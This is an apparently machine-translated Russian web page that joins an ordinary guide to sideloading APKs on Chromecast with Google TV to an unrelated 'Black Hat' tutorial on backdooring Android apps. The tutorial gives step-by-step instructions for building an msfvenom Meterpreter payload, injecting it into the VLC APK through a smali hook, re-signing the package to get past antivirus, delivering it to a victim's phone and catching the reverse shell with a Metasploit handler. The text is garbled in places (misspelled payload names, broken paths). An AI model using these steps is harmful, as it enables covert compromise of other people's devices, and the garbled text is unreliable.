Установка приложений на Android TV в целом и на Chromecast с Google TV в частности обычно несложная задача. Однако существуют ограничения на то, что вы можете установить непосредственно из Play Store, поскольку на платформу попадает только одобренное программное обеспечение. Если вы хотите раскрасить за пределы линий и загрузить приложения, которые официально не поддерживаются, или если вы хотите принудительно обновить приложение, вам необходимо использовать файлы APK. Отправить их на Chromecast и установить не так просто, поэтому мы шаг за шагом проведем вас через этот процесс.

Это руководство предназначено для Chromecast с Google TV, а не для старых моделей Chromecast или Chromecast Ultra, и посвящено методу беспроводной передачи данных с телефона или планшета Android.

Если вы хотите загрузить APK на обычное устройство Android TV или предпочитаете использовать ADB для отправки файлов с ПК, вам следует ознакомиться с этим другим руководством.

1. Нам нужна пара приложений

Существуют десятки приложений, которые можно использовать для отправки APK-файлов с телефона на Chromecast, но самый простой способ, который мы нашли, — это приложение «Отправить файлы на телевизор» — оно легкое, быстрое и очень простое. Ищите его в Play Store и установите его как на свой телефон Android, так и на Chromecast .

Отправить файлы на ТВ Разработчик: Яблио

Скачать

Приложение предлагает возможность открыть переданный файл, что в случае APK технически должно начать его установку, но я обнаружил, что это очень глючит. Часто APK никогда не открывался, и процесс установки никогда не запускался. Вот почему вам может понадобиться надлежащий файловый менеджер или установщик приложений для Chromecast.

В приведенном ниже руководстве я буду использовать наше дочернее приложение для сайта, APK Mirror, поскольку оно не только позволяет мне инициировать процесс установки на телевизоре, но также объясняет, почему определенная установка прерывается в случае сбоя. Найдите приложение и установите его прямо из Play Store на Chromecast . Если вы предпочитаете полноценный файловый менеджер, вы можете установить File Commander, Solid Explorer или любой другой файловый менеджер.

Установщик APKMirror (официальный) Разработчик: APK Mirror

Скачать

2. Теперь получите APK

.

Если вы читаете эту статью, скорее всего, вы знаете, что такое APK и где его взять. Не буду углубляться в это, но выделю несколько моментов:

• Если вам нужны APK-файлы, совместимые с Chromecast, ищите те, которые созданы для архитектуры процессора armeabi-v7a.
• Мы рекомендуем вам использовать наш дочерний сайт APK Mirror, чтобы найти их по слишком многим причинам.
• Некоторые приложения, которые официально не доступны на Android TV / Google TV, можно загрузить и использовать на этой платформе, но ожидайте некоторой неуверенности в том, как вы запускаете их или перемещаетесь по ним. Не все оптимизировано для лаунчера или пульта дистанционного управления.

3. Отправьте APK на Chromecast

.

Начните с открытия приложения «Отправить файлы на ТВ» на Chromecast, подтвердите необходимое разрешение на хранение и выберите большую Кнопка «Получить » (переместитесь вниз, чтобы за ней оказался светло-голубой фон). На мгновение откроется пустая страница без текущих переводов.

Затем возьмите свой телефон Android. Теперь, когда вы знаете, какой APK вы хотите загрузить, вы должны загрузить его на свое устройство, затем открыть приложение «Отправить файлы на ТВ» и утвердить его запрос на разрешение на доступ к мультимедиа и файлам. Нажмите на большую кнопку Отправить и найдите APK, который вы только что загрузили — скорее всего, он будет в Скачать 9Папка 0044. При его выборе открывается список устройств-получателей, в который должен входить ваш Chromecast. Конечно, ваш телефон и Chromecast должны быть подключены к одной и той же сети, чтобы это работало.

3 изображения

Выбор принимающего Chromecast немедленно запускает процесс передачи через Wi-Fi direct, поэтому APK быстро дойдет до вашего телевизора.

Вы можете попробовать открыть переданный APK прямо в приложении, но, как я упоминал ранее в этом посте, похоже, это не работает должным образом.

Итак, нам нужно выполнить еще несколько шагов.

4. Установите APK

Для установки APK через сторонние приложения, такие как веб-браузеры или файловые менеджеры (также известные как «неизвестные источники»), в течение нескольких лет требовалось специальное разрешение на Android. Обычно вы запускаете процесс, и всплывающее окно сообщает вам, что вы не можете продолжить, пока не предоставите это разрешение, и вы попадаете прямо к этой настройке. До сих пор это также имело место на Android TV.

Но Chromecast с Google TV немного особенный. Всплывающих окон нет, а «неизвестные источники» выделены серым цветом в настройках. Нам нужно сначала активировать параметры разработчика, чтобы включить их.

4.1. Включить параметры разработчика

На Chromecast откройте боковое меню и выберите «Настройки» > «Система» > «О ». Прокрутите вниз до раздела Android TV OS build и щелкните его несколько раз. Появится всплывающее сообщение, объясняющее, что вы в нескольких шагах от того, чтобы стать разработчиком.

Продолжайте нажимать, пока не активируете его.

3 изображения

4.2. Включите параметр «неизвестные источники»

Вернуться к основным Настройки и выберите Приложения > Безопасность и ограничения > Неизвестные источники . Включите переключатель APK Mirror или любого другого файлового браузера, который вы решили использовать на шаге 1 этого руководства.

3 изображения

4.3. Установите APK (фью)

Наконец-то пришло время установить этот APK. Если вы решили использовать файловый браузер, используйте его, чтобы перейти к файлу, открыть его и утвердить установку.

На скриншотах ниже показано, как это сделать с помощью APK Mirror. Сначала откройте приложение на Chromecast, затем выберите

Просмотрите файлы , перейдите в каталог Загрузите , выберите APK, который вы передали на шаге 3, нажмите Установить пакет > Установить приложение > Установить . Когда установка закончится, вы можете открыть приложение.

6 изображений

---

Поздравляем! Вы прошли через запутанный процесс, но хорошая новость заключается в том, что после того, как вы сделали это один раз, все, что вам нужно сделать, это получить APK и отправить его (шаги 2 и 3), а затем установить его (только шаг 4.3). ). Для каждого нового APK потребуется около минуты или около того, поэтому вы можете вручную обновить Chromecast с помощью приложений Google TV, если новая версия не доходит до вас вовремя, или попробовать некоторые неофициально поддерживаемые приложения почти так же быстро, как если бы ты делал это на своем телефоне.

Черная шляпа Искусство бэкдора Android APK | Часть 1 | Люцидус Исследования | by Lucideus

(Сложность: Высокая)

Как вы можете видеть слева, Android — самая популярная ОС в мире, когда речь идет о смартфонах, и только в Индии, прибл. 90% людей, которые используют смартфоны, используют Android на своих устройствах, будь то версия Lollipop или Nugget. Следовательно, из-за популярности и проблемы фрагментации Android он стал первым выбором киберпреступников для залога. Большая часть пользователей Android не слишком хорошо знакома с безопасностью Android, что является еще одним моментом, которым пользуются киберпреступники, и с помощью социальной инженерии они заставляют пользователей устанавливать бэкдор-приложения, что приводит к компрометации устройства. В этой статье мы расскажем о популярном методе, который киберпреступники используют для бэкдора apk.

Предварительные требования:

Kali Linux, вы можете использовать любую другую ОС, но я предпочитаю Kali Linux.

Оригинальный APK, я использовал VLC. Ссылка для скачивания: VLC.

Easy APK Tool. Это в основном версия Apktool с графическим интерфейсом, чья версия CLI включена в Kali Linux.

Ссылка для скачивания: Easy APK Tool.

Альтернативная ссылка для скачивания: Альтернативная.

Шаги по созданию полезной нагрузки Meterpreter

Шаг 1.

Создайте apk полезной нагрузки с помощью msfvenom. Команда:

#msfvenom -p Android/Meterpreter/Payload_type lhost = ip_address lport = outment_port -o Pailload.apk

Доступные полезные нагрузки:

reample_tcp

reverse_http

reverse_htcp

reample_http

. Просто потому, что я нашел его более стабильным.

Шаг 2: Настройка Easy APK Tool

• Теперь установите или извлеките Easy APK Tool.
• Скопируйте загруженный оригинальный apk и apk Payload в папку в папке Easy Apk Tool (создайте новую папку). Также создайте папку с именем «Frameworks» в папке Easy Apk Tool.

Теперь откройте Easy APK Tool.

Нажмите «Выбрать APK» и выберите оригинальный apk (vlc.apk).

• В опции Framework нажмите Select Framework и выберите оригинальный apk.
• Теперь щелкните параметр «Изменить» в параметре «Каталог установки» и выберите папку Frameworks, которую мы создали ранее. Затем нажмите кнопку «Установить FW APK».

Шаг 3: Декомпиляция оригинального apk и apk полезной нагрузки

• После завершения процесса вернитесь в главное меню и снимите все флажки, которые вы видите, кроме больших кнопок, кроме поля «Принудительно удалить каталог назначения».
• Теперь нажмите «Декомпилировать».
• После завершения декомпиляции выберите apk полезной нагрузки с помощью параметра «Выбрать APK» и нажмите «Декомпилировать» (нет необходимости устанавливать фреймворк).

Шаг 4: Процесс связывания

• Скопируйте файлы полезной нагрузки (файлы smali) в исходную папку apk.
• Теперь откройте папку декомпилированных полезных данных и перейдите в папку smali → com.
• Теперь скопируйте туда папку metasploit и вставьте ее в папку …original_apk/smali/com. Уже будет папка с именем «android». Теперь в папке com должно быть 2 папки-android и metasploit.

Шаг 5: Найдите основной файл Smali через AndroidManifest оригинального apk.

Теперь откройте папку исходного приложения и откройте файл AndroidManifest с помощью любого текстового редактора. Я предпочитаю использовать Sublime Text, вы можете использовать любой другой, если хотите.

Теперь найдите тег действия (строка 26), который имеет следующие строки:

Строка 28

Строка 29

Когда вы найдете его, скопируйте его android:name. Затем откройте новый файл и вставьте его туда.

Те две строки, которые мы искали, означают, что это действие, которое будет запускаться, когда мы запускаем приложение с помощью значка запуска, а также это ГЛАВНОЕ действие, аналогичное «основной» функции в традиционном программировании.

Теперь эта часть интересна. Вы заметили что-нибудь похожее в имени android:name, которое вы скопировали?

org. videolan.vlc.StartActivity

Обратите внимание, что если вы замените точки на обратную косую черту, вы обнаружите, что это фактически адрес файла StartActivity.smali

org\videolanStartActivity\vlc

Примечание. Не обязательно, чтобы имя файла smali было StartActivity. Некоторые другие приложения могут иметь другое имя файла smali, например MainActivity и т. д.

Шаг 6. Вставьте хук в файл StartActivity.smali Оригинальный апк.

Теперь перейдите по этому адресу

Откройте файл StartActivity.smali с помощью текстового редактора.

Теперь найдите «;->onCreate(Landroid/os/Bundle;)

Когда вы найдете его, вставьте следующий код в строку рядом с ним:

invoke-static {p0},

Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

И сохраните файл.

Шаг 7. Введите разрешения в файл AndroidManifest.xml

Теперь мы должны дать приложению все разрешения для забавных вещей, потому что прямо сейчас оно может делать только такие вещи, как воспроизведение музыки и видео, что так скучно! Мы хотим делать Fun Stuff!

Итак, откройте файл AndroidManifest из папки Original apk, а также файл AndroidManifest из папки Payload.

Теперь скопируйте все разрешения на использование из полезной нагрузки файла AndroidManifest в исходный файл apk AndroidManifest.

Убедитесь, что нет дубликатов.

Сохраните оригинальный APK-файл AndroidManifest.

Шаг 8: Повторная компиляция оригинального APK

• Теперь вернемся к Easy APK Tool.
• Нажмите на маленькую коричневую опцию рядом с Select APK и выберите папку Decompiled Original APK. И нажмите «Скомпилировать».

Теперь, после завершения процесса компиляции, перейдите в меню вывода журнала и убедитесь, что не было больших ошибок, предупреждение можно игнорировать. В конце не должно быть ошибки «сбой компиляции» или что-то в этом роде.

Шаг 9. Подпишите и заархивируйте APK

Теперь самое сложное. Скомпилированный apk не будет установлен ни на одном мобильном устройстве Android, потому что его подпись была удалена, и если вы попытаетесь установить, вы получите ошибку, не позволяющую проанализировать Ошибка файла/apk.

Итак, чтобы исправить эту ошибку, нам нужно подписать и заархивировать apk с помощью Easy APK Tool, думайте об этом так, как будто вы уклоняетесь от антивируса.

Теперь комбинация, которая до сих пор работала для меня после перекомпиляции, выглядит следующим образом: sign → zipalign (поскольку это заставит новый apk выбрать это, а затем) → sign.

Шаг 10: Перенесите приложение и используйте его

Теперь возьмите apk и разместите его на своем локальном сервере с помощью Xampp или просто перенесите apk на мобильный телефон жертвы любым способом. Я буду использовать Remix OS на своей виртуальной машине. В Kali Linux откройте Metasploit Framework.

Чтобы открыть Start Metasploit, введите в терминале следующие команды:

msfconsole

• useexploit/multi/handler
• set PAYLOAD android/meterpreter/reverse_https
• set LHOST <ваш ip>
• set LPORT <ваш порт>
• эксплуатировать

На мобильном устройстве Установите apk, и как только вы его откроете, вы получите сеанс Meterpreter на Metasploit.